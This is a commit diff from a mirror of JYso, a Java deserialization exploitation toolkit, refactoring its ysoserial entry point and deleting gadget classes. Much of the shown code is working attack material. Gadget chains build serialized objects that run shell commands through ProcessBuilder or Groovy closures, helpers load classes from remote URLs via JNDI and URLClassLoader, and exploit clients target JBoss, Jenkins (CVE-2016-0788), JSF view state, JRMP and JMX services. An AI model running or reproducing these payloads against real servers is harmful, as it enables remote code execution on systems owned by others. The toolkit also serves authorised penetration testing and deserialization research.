mirror of
https://github.com/qi4L/JYso.git
synced 2026-09-21 22:40:43 +08:00
refactor: 删除内存马模块,回显类模块
This commit is contained in:
+1
-1
@@ -22,7 +22,7 @@ shadowJar {
|
||||
attributes 'Main-Class': 'com.qi4l.JYso.Starter'
|
||||
}
|
||||
zip64=true
|
||||
//minimize()
|
||||
minimize()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.controllers.ysoserial;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
|
||||
public class Starter {
|
||||
@@ -31,10 +31,10 @@ public class Starter {
|
||||
}
|
||||
}
|
||||
|
||||
// 如果参数中包含-y,则启动 ysu serial
|
||||
// 如果参数中包含-y,则启动 ysoserial
|
||||
if (args.length > 0 && args[0].equals("-y")) {
|
||||
JYsoMode = true;
|
||||
ysoserial(args);
|
||||
ysoserial.run(args);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -8,7 +8,7 @@ import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.echoStatic.Meterpreter;
|
||||
import com.qi4l.JYso.template.Meterpreter;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
|
||||
@@ -159,7 +159,7 @@ public class ELProcessorController implements LdapController {
|
||||
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
|
||||
private class TomcatBypassHelper {
|
||||
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||
Class<?> clazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
|
||||
Class<?> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
|
||||
Field host = clazz.getDeclaredField("host");
|
||||
host.setAccessible(true);
|
||||
host.set(clazz, params[0]);
|
||||
|
||||
@@ -9,8 +9,9 @@ import com.qi4l.JYso.gadgets.utils.StringUtil;
|
||||
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
|
||||
import org.apache.commons.cli.*;
|
||||
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.*;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
@@ -22,7 +23,7 @@ public class ysoserial {
|
||||
public static CommandLine cmdLine;
|
||||
public static Object PAYLOAD = null;
|
||||
|
||||
public static void ysoserial(String[] args) {
|
||||
public static void run(String[] args) {
|
||||
final Options options = getOptions();
|
||||
|
||||
CommandLineParser parser = new DefaultParser();
|
||||
@@ -106,38 +107,6 @@ public class ysoserial {
|
||||
Config.IS_UTF_Bypass = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("Hessian1")) {
|
||||
Config.IS_Hessian1 = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("Hessian2")) {
|
||||
Config.IS_Hessian2 = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("XStream")) {
|
||||
Config.IS_Xstream = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("Kryo")) {
|
||||
Config.IS_Kryo = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption(("JYaml"))) {
|
||||
Config.IS_JYAML = true;
|
||||
}
|
||||
if (cmdLine.hasOption("JsonIO")) {
|
||||
Config.IS_JsonIO = true;
|
||||
}
|
||||
if (cmdLine.hasOption("YamlBeans")) {
|
||||
Config.IS_YamlBeans = true;
|
||||
}
|
||||
if (cmdLine.hasOption("Castor")) {
|
||||
Config.IS_Castor = true;
|
||||
}
|
||||
if (cmdLine.hasOption("Jackson")) {
|
||||
Config.IS_Jackson = true;
|
||||
}
|
||||
|
||||
if (cmdLine.hasOption("gen-mem-shell")) {
|
||||
Config.GEN_MEM_SHELL = true;
|
||||
|
||||
@@ -187,11 +156,11 @@ public class ysoserial {
|
||||
OutputStream out;
|
||||
|
||||
if (Config.WRITE_FILE) {
|
||||
out = new FileOutputStream(Config.FILE);
|
||||
out = Files.newOutputStream(Paths.get(Config.FILE));
|
||||
} else {
|
||||
out = System.out;
|
||||
}
|
||||
Serializer.qiserialize(object, out, payloadType, command);
|
||||
Serializer.qiserialize(object, out);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
out.flush();
|
||||
out.close();
|
||||
@@ -203,7 +172,7 @@ public class ysoserial {
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
private static Options getOptions() {
|
||||
public static Options getOptions() {
|
||||
Options options = new Options();
|
||||
options.addOption("y", "ysoserial", false, "Java deserialization");
|
||||
options.addOption("g", "gadget", true, "Java deserialization gadget");
|
||||
@@ -247,10 +216,10 @@ public class ysoserial {
|
||||
System.err.println("[root]#~ Available payload types:");
|
||||
|
||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||
Collections.sort(payloadClasses, new StringUtil.ToStringComparator()); // alphabetize
|
||||
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
|
||||
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
|
||||
|
||||
final List<String[]> rows = new LinkedList<String[]>();
|
||||
final List<String[]> rows = new LinkedList<>();
|
||||
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
|
||||
rows.add(new String[]{"-------", "-------", "------------"});
|
||||
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||
|
||||
@@ -32,8 +32,6 @@ import java.util.Set;
|
||||
import java.util.concurrent.*;
|
||||
import java.util.logging.*;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
* An exploitation client for JBoss AS/Wildfly JMX
|
||||
@@ -77,7 +75,7 @@ public class JBoss {
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
String username = null;
|
||||
|
||||
@@ -8,8 +8,6 @@ import javax.management.remote.JMXConnector;
|
||||
import javax.management.remote.JMXConnectorFactory;
|
||||
import javax.management.remote.JMXServiceURL;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
/**
|
||||
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
|
||||
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
|
||||
@@ -32,7 +30,7 @@ public class JMXInvokeMBean {
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
|
||||
|
||||
@@ -10,8 +10,6 @@ import java.io.ObjectOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.*;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
/**
|
||||
* Generic JRMP client
|
||||
* <p>
|
||||
@@ -39,7 +37,7 @@ public class JRMPClient {
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
|
||||
@@ -18,9 +18,6 @@ import java.rmi.server.ObjID;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
@@ -74,7 +71,7 @@ public class JRMPListener implements Runnable {
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
try {
|
||||
|
||||
@@ -12,8 +12,6 @@ import java.net.URLConnection;
|
||||
import java.net.URLEncoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
* JSF view state exploit
|
||||
@@ -48,7 +46,7 @@ public class JSF {
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
URLConnection c = u.openConnection();
|
||||
|
||||
@@ -20,8 +20,6 @@ import java.net.*;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
/**
|
||||
* Jenkins CLI client
|
||||
* <p>
|
||||
@@ -48,7 +46,7 @@ public class JenkinsCLI {
|
||||
String[] newArray = new String[args.length - 1];
|
||||
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
Channel c = null;
|
||||
|
||||
@@ -23,8 +23,6 @@ import java.rmi.activation.ActivationDesc;
|
||||
import java.rmi.activation.ActivationID;
|
||||
import java.rmi.activation.ActivationInstantiator;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (1)
|
||||
@@ -183,7 +181,7 @@ public class JenkinsListener {
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
Object payloadObject = ysoserial.PAYLOAD;
|
||||
|
||||
objOut.writeObject(payloadObject);
|
||||
|
||||
@@ -11,8 +11,6 @@ import java.net.InetSocketAddress;
|
||||
import java.rmi.registry.Registry;
|
||||
import java.util.Random;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
|
||||
/**
|
||||
* CVE-2016-0788 exploit (2)
|
||||
* <p>
|
||||
@@ -38,7 +36,7 @@ public class JenkinsReverse {
|
||||
String[] newArray = new String[args.length - 2];
|
||||
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||
|
||||
ysoserial(newArray);
|
||||
ysoserial.run(newArray);
|
||||
final Object payloadObject = ysoserial.PAYLOAD;
|
||||
String myAddr = args[1];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import java.net.URI;
|
||||
|
||||
public class BindingEnumeration implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
URI uri = new URI(command);
|
||||
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
|
||||
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1])));
|
||||
}
|
||||
}
|
||||
@@ -30,7 +30,7 @@ import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
|
||||
public class C3P02 implements ObjectPayload<Object> {
|
||||
|
||||
public Object getObject(String command) throws Exception {
|
||||
if (command.startsWith("EX-") || command.startsWith("LF-")) {
|
||||
if (command.startsWith("LF-")) {
|
||||
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
|
||||
} else {
|
||||
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
|
||||
|
||||
@@ -1,35 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.apache.commons.beanutils.BeanComparator;
|
||||
import org.apache.commons.lang3.compare.ObjectToStringComparator;
|
||||
|
||||
import java.util.PriorityQueue;
|
||||
|
||||
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "org.apache.commons:commons-lang3:3.10"})
|
||||
@Authors({"水滴"})
|
||||
public class CommonsBeanutilsObjectToStringComparator192 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
final Object template;
|
||||
template = Gadgets.createTemplatesImpl(command);
|
||||
|
||||
ObjectToStringComparator stringComparator = new ObjectToStringComparator();
|
||||
|
||||
BeanComparator beanComparator = new BeanComparator(null, new ObjectToStringComparator());
|
||||
|
||||
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
|
||||
|
||||
queue.add(stringComparator);
|
||||
queue.add(stringComparator);
|
||||
|
||||
Reflections.setFieldValue(queue, "queue", new Object[]{template, template});
|
||||
Reflections.setFieldValue(beanComparator, "property", "outputProperties");
|
||||
|
||||
return queue;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -87,15 +87,6 @@ public class Config {
|
||||
// 是否在序列化数据流中的 TC_RESET 中填充脏数据
|
||||
public static Boolean IS_DIRTY_IN_TC_RESET = false;
|
||||
public static Boolean IS_UTF_Bypass = false;
|
||||
public static Boolean IS_Hessian1 = false;
|
||||
public static Boolean IS_Hessian2 = false;
|
||||
public static Boolean IS_Xstream = false;
|
||||
public static Boolean IS_Kryo = false;
|
||||
public static Boolean IS_JYAML = false;
|
||||
public static Boolean IS_JsonIO = false;
|
||||
public static Boolean IS_YamlBeans = false;
|
||||
public static Boolean IS_Castor = false;
|
||||
public static Boolean IS_Jackson = false;
|
||||
// 填充的脏数据长度
|
||||
public static int DIRTY_LENGTH_IN_TC_RESET = 0;
|
||||
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
public interface DynamicDependencies {
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import groovy.util.Expando;
|
||||
import org.codehaus.groovy.runtime.MethodClosure;
|
||||
|
||||
public class Groovy implements ObjectPayload<Object> {
|
||||
public static Object makeGroovy(String command) throws Exception {
|
||||
Expando expando = new Expando();
|
||||
ProcessBuilder pb = new ProcessBuilder(command);
|
||||
MethodClosure mc = new MethodClosure(pb, "start");
|
||||
expando.setProperty("hashCode", mc);
|
||||
return expando;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
Object e = makeGroovy(command);
|
||||
UtilFactory uf = new UtilFactory();
|
||||
return uf.makeHashCodeTrigger(e);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -9,30 +9,19 @@ import org.codehaus.groovy.runtime.MethodClosure;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||
|
||||
/**
|
||||
* Gadget chain:
|
||||
* ObjectInputStream.readObject()
|
||||
* PriorityQueue.readObject()
|
||||
* Comparator.compare() (Proxy)
|
||||
* ConvertedClosure.invoke()
|
||||
* MethodClosure.call()
|
||||
* ...
|
||||
* Method.invoke()
|
||||
* Runtime.exec()
|
||||
* <p>
|
||||
* Requires:
|
||||
* groovy
|
||||
*/
|
||||
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
|
||||
@Authors({Authors.FROHOFF})
|
||||
public class Groovy1 implements ObjectPayload<InvocationHandler> {
|
||||
|
||||
public InvocationHandler getObject(String command) throws Exception {
|
||||
public InvocationHandler getObject(final String command) throws Exception {
|
||||
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
|
||||
|
||||
final Map map = createProxy(closure, Map.class);
|
||||
|
||||
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
|
||||
|
||||
return handler;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import org.codehaus.groovy.runtime.GStringImpl;
|
||||
import org.codehaus.groovy.runtime.MethodClosure;
|
||||
|
||||
import javax.management.BadAttributeValueExpException;
|
||||
|
||||
@Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
|
||||
@Authors({Authors.UNAM4})
|
||||
public class Groovy2 implements ObjectPayload<Object> {
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
MethodClosure execute = (MethodClosure) Reflections.createWithoutConstructor("org.codehaus.groovy.runtime.MethodClosure");
|
||||
Reflections.setFieldValue(execute, "owner", command);
|
||||
Reflections.setFieldValue(execute, "method", "execute");
|
||||
GStringImpl gString = new GStringImpl(new Object[]{1}, new String[]{"start"});
|
||||
try {
|
||||
Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
|
||||
Reflections.setFieldValue(execute, "ALLOW_RESOLVE", true);
|
||||
} catch (Exception e) {
|
||||
Reflections.setFieldValue(execute, "maximumNumberOfParameters", 0);
|
||||
}
|
||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||
Reflections.setFieldValue(val, "val", gString);
|
||||
Reflections.setFieldValue(gString, "values", (new Object[]{execute}));
|
||||
return val;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
@@ -19,7 +20,7 @@ import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
|
||||
|
||||
|
||||
/**
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
|
||||
|
||||
@@ -3,6 +3,7 @@ package com.qi4l.JYso.gadgets;
|
||||
import com.alibaba.fastjson.JSONArray;
|
||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import javassist.CtMethod;
|
||||
|
||||
@@ -1,43 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Collections;
|
||||
|
||||
public class ImageIO implements ObjectPayload<Object> {
|
||||
public static Object makeImageIO(UtilFactory uf, String[] args) throws Exception {
|
||||
ProcessBuilder pb = new ProcessBuilder(args);
|
||||
Class<?> cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter");
|
||||
Constructor<?> cfCons = cfCl.getDeclaredConstructor(Method.class, String.class);
|
||||
cfCons.setAccessible(true);
|
||||
|
||||
// nest two instances, the 'next' of the other one will be skipped,
|
||||
// the inner instance then provides the actual target object
|
||||
Object filterIt = makeFilterIterator(
|
||||
makeFilterIterator(Collections.emptyIterator(), pb, null),
|
||||
"foo",
|
||||
cfCons.newInstance(ProcessBuilder.class.getMethod("start"), "foo"));
|
||||
|
||||
return uf.makeIteratorTrigger(filterIt);
|
||||
}
|
||||
|
||||
public static Object makeFilterIterator(Object backingIt, Object first, Object filter)
|
||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
|
||||
Class<?> fiCl = Class.forName("javax.imageio.spi.FilterIterator");
|
||||
Object filterIt = Reflections.createWithoutConstructor(fiCl);
|
||||
Reflections.setFieldValue(filterIt, "iter", backingIt);
|
||||
Reflections.setFieldValue(filterIt, "next", first);
|
||||
Reflections.setFieldValue(filterIt, "filter", filter);
|
||||
return filterIt;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getObject(String command) throws Exception {
|
||||
UtilFactory uf = new UtilFactory();
|
||||
String args[] = {command};
|
||||
return makeImageIO(uf, args);
|
||||
}
|
||||
}
|
||||
@@ -1,280 +0,0 @@
|
||||
package com.qi4l.JYso.gadgets;
|
||||
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||
import com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl;
|
||||
import com.sun.rowset.JdbcRowSetImpl;
|
||||
import sun.rmi.server.UnicastRef;
|
||||
import sun.rmi.transport.LiveRef;
|
||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||
|
||||
import javax.activation.DataHandler;
|
||||
import javax.activation.DataSource;
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.CipherInputStream;
|
||||
import javax.crypto.NullCipher;
|
||||
import javax.management.loading.MLet;
|
||||
import javax.naming.Binding;
|
||||
import javax.naming.CannotProceedException;
|
||||
import javax.naming.NamingEnumeration;
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.directory.DirContext;
|
||||
import javax.naming.directory.SearchResult;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.*;
|
||||
import java.math.BigInteger;
|
||||
import java.net.MalformedURLException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.util.*;
|
||||
import java.util.ServiceLoader;
|
||||
|
||||
public class JDKUtil {
|
||||
/**
|
||||
*
|
||||
*/
|
||||
private JDKUtil() {
|
||||
}
|
||||
|
||||
|
||||
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
|
||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||
rs.setDataSourceName(jndiUrl);
|
||||
rs.setMatchColumn("foo");
|
||||
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
|
||||
return rs;
|
||||
}
|
||||
|
||||
|
||||
public static DirContext makeContinuationContext(String codebase, String clazz) throws Exception {
|
||||
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
|
||||
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
|
||||
ccCons.setAccessible(true);
|
||||
CannotProceedException cpe = new CannotProceedException();
|
||||
Reflections.setFieldValue(cpe, "stackTrace", new StackTraceElement[0]);
|
||||
cpe.setResolvedObj(new Reference("Foo", clazz, codebase));
|
||||
return (DirContext) ccCons.newInstance(cpe, null);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("resource")
|
||||
public static Object makeIteratorTriggerNative(UtilFactory uf, Object it) throws Exception, ClassNotFoundException, NoSuchMethodException,
|
||||
InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||
Cipher m = Reflections.createWithoutConstructor(NullCipher.class);
|
||||
Reflections.setFieldValue(m, "serviceIterator", it);
|
||||
Reflections.setFieldValue(m, "lock", new Object());
|
||||
|
||||
InputStream cos = new CipherInputStream(null, m);
|
||||
|
||||
Class<?> niCl = Class.forName("java.lang.ProcessBuilder$NullInputStream"); //$NON-NLS-1$
|
||||
Constructor<?> niCons = niCl.getDeclaredConstructor();
|
||||
niCons.setAccessible(true);
|
||||
|
||||
Reflections.setFieldValue(cos, "input", niCons.newInstance());
|
||||
Reflections.setFieldValue(cos, "ibuffer", new byte[0]);
|
||||
|
||||
Object b64Data = Class.forName("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data").newInstance();
|
||||
DataSource ds = (DataSource) Reflections
|
||||
.createWithoutConstructor(Class.forName("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource")); //$NON-NLS-1$
|
||||
Reflections.setFieldValue(ds, "is", cos);
|
||||
Reflections.setFieldValue(b64Data, "dataHandler", new DataHandler(ds));
|
||||
Reflections.setFieldValue(b64Data, "data", null);
|
||||
|
||||
Object nativeString = Reflections.createWithoutConstructor(Class.forName("jdk.nashorn.internal.objects.NativeString"));
|
||||
Reflections.setFieldValue(nativeString, "value", b64Data);
|
||||
return uf.makeHashCodeTrigger(nativeString);
|
||||
}
|
||||
|
||||
|
||||
public static Object adaptEnumerationToIterator(Enumeration<?> enu) throws ClassNotFoundException, NoSuchMethodException,
|
||||
InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
|
||||
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
|
||||
Constructor<?> licons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
|
||||
licons.setAccessible(true);
|
||||
ServiceLoader<?> sl = Reflections.createWithoutConstructor(ServiceLoader.class);
|
||||
Object iter = licons.newInstance(null, null);
|
||||
Reflections.setFieldValue(sl, "providers", new LinkedHashMap<>());
|
||||
Reflections.setFieldValue(iter, "configs", enu);
|
||||
return iter;
|
||||
}
|
||||
|
||||
|
||||
public static Iterator<?> makeServiceIterator(ClassLoader cl, Class<?> service) throws Exception {
|
||||
Class<?> clIt = Class.forName("sun.misc.Service$LazyIterator");
|
||||
Constructor<?> lciCons = clIt.getDeclaredConstructor(Class.class, ClassLoader.class);
|
||||
lciCons.setAccessible(true);
|
||||
return (Iterator<?>) lciCons.newInstance(service, cl);
|
||||
}
|
||||
|
||||
|
||||
public static Iterable<?> makeServiceLoader(ClassLoader cl, Class<?> service) throws Exception {
|
||||
return ServiceLoader.load(service, cl);
|
||||
}
|
||||
|
||||
|
||||
public static URLClassLoader makeURLClassLoader(String url) throws MalformedURLException, Exception {
|
||||
URLClassLoader ucl = new URLClassLoader(new URL[]{
|
||||
new URL(url)
|
||||
});
|
||||
Reflections.setFieldValue(ucl, "parent", null);
|
||||
Reflections.setFieldValue(ucl, "domains", new HashSet<>());
|
||||
Reflections.setFieldValue(ucl, "defaultDomain", null);
|
||||
Reflections.setFieldValue(ucl, "acc", null);
|
||||
|
||||
Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null);
|
||||
return ucl;
|
||||
}
|
||||
|
||||
|
||||
public static URLClassLoader makeMLet(String url) throws MalformedURLException, Exception {
|
||||
URLClassLoader ucl = new MLet(new URL[]{
|
||||
new URL(url)
|
||||
});
|
||||
Reflections.setFieldValue(ucl, "parent", null);
|
||||
Reflections.setFieldValue(ucl, "domains", new HashSet<>());
|
||||
Reflections.setFieldValue(ucl, "defaultDomain", null);
|
||||
Reflections.setFieldValue(ucl, "acc", null);
|
||||
|
||||
Reflections.setFieldValue(Reflections.getFieldValue(ucl, "ucp"), "acc", null);
|
||||
return ucl;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public static Enumeration<?> makeLazySearchEnumeration(String codebase, String clazz) throws Exception {
|
||||
DirContext ctx = makeContinuationContext(codebase, clazz);
|
||||
NamingEnumeration<?> inner = Reflections.createWithoutConstructor(LazySearchEnumerationImpl.class);
|
||||
Reflections.setFieldValue(inner, "nextMatch", new SearchResult("foo", ctx, null));
|
||||
return new LazySearchEnumerationImpl((NamingEnumeration<Binding>) inner, null, null);
|
||||
}
|
||||
|
||||
|
||||
public static Enumeration<?> makeBindingEnumeration(String codebase, String clazz) throws Exception {
|
||||
Class<?> cl = Class.forName("com.sun.jndi.rmi.registry.BindingEnumeration");
|
||||
Object enu = Reflections.createWithoutConstructor(cl);
|
||||
Reflections.setFieldValue(enu, "ctx", makeRegistryContext(makeRegistryImpl(codebase, clazz)));
|
||||
Reflections.setFieldValue(enu, "names", new String[]{
|
||||
"exp"
|
||||
});
|
||||
Reflections.setFieldValue(enu, "nextName", 0);
|
||||
return (Enumeration<?>) enu;
|
||||
}
|
||||
|
||||
